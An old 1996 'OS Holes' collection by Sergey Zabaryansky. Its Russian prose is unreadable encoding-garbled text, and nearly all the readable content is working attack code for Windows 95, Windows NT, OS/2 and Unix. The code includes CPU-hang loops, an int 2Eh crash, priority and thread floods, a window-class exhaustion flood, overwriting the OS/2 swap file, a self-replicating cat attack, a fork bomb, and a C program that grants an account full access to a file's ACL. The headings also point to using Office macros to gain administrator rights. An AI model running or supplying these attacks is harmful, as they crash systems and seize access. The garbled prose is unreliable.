/******************************************************

  OS Holes Document by Sergey Zabaryansky
  Version 12-18-96

*******************************************************/

ঠ

1. ।᫮
2. Windows 95
   - ᨬ (CLI  DosBox)                               [11-22-96]
   - ᨬ (᪮ 横  Win16 app)               [11-22-96]
   -   㧨 ⥬ (system.ini)         * [11-22-96]
3. Windows NT
   - ਩ ⠭ (NtSetInformationFile)         * [11-22-96]
   - ᨬ (SetPriotiryClass)                         * [11-22-96]
   - ᨬ (SetPriotiryClass +)                       * [11-22-96]
   - ᨬ (hangup.bat)                                 [11-22-96]
    ਩ ⠭ (SetWindowPos)                   [12-08-96]
    "⎬" ⠪ :)                               * [12-08-96]
    ⮤ ஭  ⥬                   * [12-15-96]
    ஭ ।⢮ Access/WinWord/Excel   * [12-15-96]
    祭 ࠢ  ४                     * [12-15-96]
4. OS/2
   - ਩ ⠭ (  swap)                  [11-22-96]
5. Unix
   - cat ⠪                                          [11-22-96]
   - fork() ⠪                                       [11-22-96]

***************************************************************************
1. P

  ࠫ ᮡ _ᮢ襭_   㦭 䠪
 Win95,OS/2,NT,UNIX.    ?      ᣮ.
 NT   NT 4.0,  Unix - Red Hat "Picasso".
  ७ ᥬ,   /ࠢ/筨  .
᫨  饭 ⥬⨪  ᫥⢨ﬨ 맢묨 ⮩
쥩  cp exclamation /dev/nul.
  ...    ...   ᯮ짮 ᫥騥 ᨬ:

      -     㦥 뫠  ।饬 
           
      [ ]   ᠭ 
      *    ⮤/䠪  

 >> ࣥ ᪨ [2:463/81.73 2:463/218.73]

***************************************************************************
2. WINDOWS 95

⮩ 樮  㤥  , ⠪   
 让 ன,  ,   ,    
    ;)


 ᨬ (CLI  DosBox)


   ࠧ ...   ⮬,  VMM  㠫 IF  VDM.
 ⠭ 祢,  ⨢ 뢠  ३  ᪮
横  㥬 ஢騪. P - ⥬ .

code    SEGMENT byte public 'CODE'
        ASSUME  cs:code, ds:code
        ORG     100h

start:  cli
        jmp     $-2

code    ENDS
        END     start

 ᨬ (᪮ 横  Win16 app)


#include <windows.h>

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd)
{
 while(TRUE);
}

   㧨 ⥬ (system.ini)


 䠩 system.ini >= 64kb.  ⥬  㧪
᭥/१㧨. 稭  ⮬,  ⠪  筮
system.ini   64Kb  ஢騪 Microsoft -
訫 뢠  ⮣ 䠩 0FFFFh   ᥣ ࠧ஬ 6720h
. P   ᠬ :)



***************************************************************************
3. WINDOWS NT


 ਩ ⠭ (NtSetInformationFile)


 ᮫쭠 Win32 ணࠬ  ਢ
 砫 ᫥⢨ ...

#include <windows.h>

main()
{
 LONG *Fool=new LONG[10];
 _asm mov eax, 0a0h
 _asm mov edx, [Fool]
 _asm int 2Eh
}

 ணࠬ 룫廊 ࠭,  ,     ᮢ
 㬥஢ 㭪樥 NtSetInformationFile  ntdll.dll

NtSetInformationFile
77f67f60   mov       eax, 000000A0h
77f67f65   lea       edx, dword ptr [esp+04]
77f67f69   int       2Eh

⫨稥  ⮬,    ⢥ ࠬ । 㪠⥫  .

 ᨬ (SetPriorityClass)
-

 ।饩 ணࠬ  让 ⮪ - 
設-ਥ஢.  쭮   NT
ᯮ _⮫쪮_ Win32 API.

#include <windows.h>

main()
{
 SetPriorityClass(REALTIME_PRIORITY_CLASS);
 while(TRUE);
}

 ࠢ   ⮭. -  ணࠬ  
 ⢨   設. - ணࠬ
  饭 짮⥫  ࠢ Increase Scheduling Priority.

। ணࠬ  ९  ᯮ짮 
ਮ HIGH,    ࠢ  㦭.   ⮬,
 ஢騪 OS 祣    ,  ।
६  ⮪.  ⮩ 稭 ᫨   ணࠬ ⮪
㤥  冷  祬  㣮,   , ஬ 襣,
䠪᪨   ६.  ॠ ⮩ :

DWORD ThreadProc(LPDWORD)
{
 while(TRUE);
 return 0;
}

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd)
{
 DWORD dwResult;
 SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
 SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_HIGHEST);
 while(TRUE)
  {
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwResult);
  }
 return 0;
}

 ᨬ (hangup.bat)


㣠  ⮨  ⮬, ⮡ ᮧ 祭  VDM
  ⨢ - . ⢥,  
쭮    ,  浪 㧨 .

start hangup.bat
start hangup.bat

  ਩ ⠭ (SetWindowPos)


,  ,   ࠧࠡ稪  ⨬樨
  । ...   祬  ਢ  砥  NT.
  Win32 ண ਢ  ਩ ⠭ ⥬.

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR lpCmdLine,int nCmd)
{
 HWND hWnd=CreateWindow("EDIT","NONE",WS_VISIBLE,0,0,100,100,0,0,hInst,0);
 SetWindowPos(hWnd,(HWND)0xFFFF,0,0,0,0,3);
}

⠪,  ᮦ,   쭮  ᪮쪨 稭.
    ᮡ  ᯮ짮 訡 ஢騪,
   ⮬,  㦥  ᫥   㤥 ᪮॥
ᥣ ࠭.  , ᪮쪮  ᭮,  
ࠡ뢠   ᨨ x86.


  "⎬" ⠪


 뢥 㧨 ࠧࠡ稪 NT  㤨   ⨫,
  筮 ᠤ 祩 ... ⢨⥫쭮 ணࠬ
  ⮫쪮 , ᪮쪮  㤨 - sucs ;)
᫨  ,  ⢮ ⮬  ⥬ 筮,   
稭 ⠭ .  Win32 ணࠬ   ...

#include <windows.h>
#include <stdio.h>

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPerv,LPSTR lpszCmd,int Cmd)
{
 int  i,j;
 char szFool[0x40];
 WNDCLASS wc;

 for(i=0;;i++)
   {
    srand(i);
    for(j=0;j < 0x20;j++) szFool[j]=(rand() >> 7) & 0xFF;
    szFool[0x20]=0;
    wc.style         = NULL;
    wc.lpfnWndProc   = DefWindowProc;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = hInst;
    wc.hIcon         = NULL;
    wc.hCursor       = NULL;
    wc.hbrBackground = NULL;
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = szFool;
    RegisterClass(&wc);
   }
}

 -  ;)
 ⠪  ⮬,  ᫨  ந max ⢮
ᮢ ,   __  ⥬  ᬮ 
, ⠪   ⮣ ਩ ᮧ    .
 ਬ, ᫨  ⠪   饭 Task Manager, 
᫥ ⠪   ᬮ ਡ ⠪騩  ⮬,
  ⮣ Task Manager  㤥  ᥡ  ,
 ࠧ㬥  ᤥ  .

  ⮤ ஭  ⥬


  ࠧ塞  ⮬,  ᮡ⢥  㦭 ...
祢 楫   :
    a.    ᥪ⭮ ଠ樨
    b.  ࠢ admin'a.
 ⭮ 樨 ⥫쭮 ⭮ 室  ⮬ .
 ࢮ,  室   - ⠢ admin'a 
 ணࠬ.   WinWord,Excel,Access 㦥 ⠫  ਡ⮬
ᮢee ,  뫮  ⥫쭮  襩 ஭
 ᯮ짮 ⨬ 䠪⮬.   ⮬,  㬥/⠡
-ࠢ  뢠  ७,  -   ᥡ
 ஧ ...

  ஭ ।⢮ Access/WinWord/Excel


MS Access ⮬᪨ ᯮ  AutoExec.  ண
    ணࠬ,  
(ᯮ  뢠  Access Basic API 㭪樨)
ﯠ     ᯮ 譨 ணࠬ.
 ᠬ ⭮   Word/Excel.  Word ࠢ
  ᫮ ... Word 7.0,  㬮砭,
 㦥  " ⮧" 訢 襣 ࠧ襭.

  祭 ࠢ  ४


  ணࠬ  ⨬  ?  ਢ ਬ
  짮⥫/㯯 lpszAccount   
/४ਨ/䠩 szFileName.   ॢ
 Access/Word Basic  ᯮ짮  ᢮ 楫 ;)
  ⪮   admin' - 㣨 ࠧ.

//
// Copyright (C) 1996 by Sergey Zabaryansky
//

#include <windows.h>
#include <stdio.h>
#include <conio.h>

TCHAR *szFileName="e:\\sites.txt";

void main()
{
 DWORD  dwResult;
 PACL   pACLNew,pACL;
 PSID   pSID;
 DWORD  cbSID = 1024;
 LPSTR  lpszAccount = "UserA";
 DWORD  cchDomainName = 128;
 TCHAR  szDomain[128];
 void   *pACE;
 PSECURITY_DESCRIPTOR pSD,sd;
 PSID_NAME_USE psnuType;

 pSD      = (PSECURITY_DESCRIPTOR)new BYTE[4096];
 pACLNew  = (PACL)new BYTE[4096];
 pSID     = (PSID)new BYTE[cbSID];
 psnuType = (PSID_NAME_USE)new BYTE[1024];

 InitializeSecurityDescriptor(pSD,SECURITY_DESCRIPTOR_REVISION);
 InitializeAcl(pACLNew,4096,ACL_REVISION2);
 LookupAccountName(NULL,lpszAccount,pSID,&cbSID,szDomain,&cchDomainName,psnuTyp
e);

 // concat the previous access
 sd=(SECURITY_DESCRIPTOR *)new BYTE[0x400];
 GetFileSecurity(szFileName,DACL_SECURITY_INFORMATION,sd,0x400,&dwResult);
 GetSecurityDescriptorDacl(sd,(int *)&dwResult,&pACL,(int *)&dwResult);
 for(int i=0;i < pACL->AceCount;i++)
   {
    GetAce(pACL,i,&pACE);
    AddAce(pACLNew,ACL_REVISION,MAXDWORD,pACE,((PACE_HEADER)pACE)->AceSize);
   }
 // add new ACE
 AddAccessAllowedAce(pACLNew,ACL_REVISION2,0xFFFFFFFF,pSID);

 SetSecurityDescriptorDacl(pSD,TRUE,pACLNew,FALSE);
 SetFileSecurity(szFileName,DACL_SECURITY_INFORMATION,pSD);

 delete pSID;
 delete pSD;
 delete pACLNew;
 delete psnuType;
}

4. OS/2
**********************************************************************

 ᮦ   祭  ਠ  ⮩ OS,
   , ᠭ   ⠯ 2:463/218.
  ਧ⥫ ,     ࠧ ᮤঠ.

 ਩ ⠭ (  swap)


 ਪ ? ;)    㦭 
 믮 ᫥   Dos Session:

echo FoolPlainText > swapper.dat
rem   swapper.dat - ᢮ OS/2.


5. UNIX
**********************************************************************

 cat ⠪


   䠩 hangunix 饭  䮭  Unix.

 cat hangunix > x
 cat x >> hangunix
 ./hangunix &
 ./hangunix &

 fork() ⠪


#include <unistd.h>

main()
{
 while(1) fork();
}

 ணࠬ ஦ ᢮    ,   .
   饭  䮭. ᫥ ⮣   ᬮ
 _ _ ணࠬ, ⠪  ⥬  ᬮ
ᮧ   , ஬ ⮣ OS 筥 _㤪_ ମ.

ࠢ ࠤ 㦭 ⬥,   ⠪ 
묥 ⢨ ᫨ 㤥 ᯮ짮 ணࠬ ulimit.

